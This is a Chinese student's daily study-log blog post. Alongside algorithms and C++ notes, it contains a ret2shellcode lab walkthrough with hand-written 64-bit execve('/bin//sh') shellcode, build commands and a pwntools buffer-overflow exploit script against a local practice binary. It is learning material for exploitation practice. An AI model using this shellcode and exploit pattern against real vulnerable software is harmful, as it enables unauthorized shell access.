9-6 (9-1?) 学习打卡(6.15)

现在 2021.6.15 AM9:06,某校企合作公司(推华为证书)过来疯狂输出压力,虽然懂的都懂,我还是挺好奇班里有些人是怎么想,不过我只好奇这门课到底作业麻不麻烦。--6.15

6.15 TO DO LIST:

一:每日Pwn学习

二:算法导论完成第二章两个算法 浏览第三章

三:CPP 第一章练习 浏览第二章

 

一:每日Pwn学习

今天试了一下64位的手写shellcode

首先vim ~/.gdbinit 改成peda

首先vmmap用vmmap查看段是有可执行权限的

和pwndbg操作都一样就不重复了

然后试pattern create 300

和pwndbg不同是这边是停在这个ret,然后不会跳错误的是哪个返回地址

推测就是栈上前8位

但这边细节的一点就是不用加0x 加0x就会报错

于是获取偏移为40

然后就是自写的shellcode_64

xor rax,rax
add rax,0x3b
xor rdi,rdi
push rdi
mov rdi,0x68732f2f6e69622f
push rdi
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
syscall

以及脚本

nasm -f elf64 -o shellcode_64.o shellcode_64.asm
#生成.o结尾的文件
#ld -m elf_amd64-64 -o shellcode_64_exe shellcode_64.o
#链接成可执行文件
objcopy -O binary shellcode_64.o shellcode_64
#提取可执行代码段,如果没有链接成可执行文件,从.o文件中提取也一样
rm -f shellcode_64.o
rm -f shellcode_64_exe

这边链接不成可执行文件,于是就跳过这一步,好像架构一直有问题搞不对

然后就可以上exp.py !

from pwn import *

p = process("./ret2shellcode_64")

e = ELF("./ret2shellcode_64")

buf2 = e.symbols["buf2"]

offset = 40

payload1 = offset*"P" + p64(buf2)

c = open("./shellcode_64","r")

shellcode = c.read()

payload2 = shellcode.ljust(200,"z")

p.recvuntil(": ")

p.sendline(payload1)

p.recvuntil(": ")

p.sendline(payload2)

p.interactive()

获取权限!

 

二:算法导论

完成阅读,完成算法。

问题就是没想到每次阅读都会掉进去,真希望有足够的时间给我慢慢看,算法还待优化,不过程序和程序员有一个能跑就行了(这次是我跑run)。

 

三:CPP

又是要带回去看的一天

现在十一点三十一,看完了第二章感觉还不错,这次感觉解决了之前的我一些细节,系统学习yyds。

night.

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值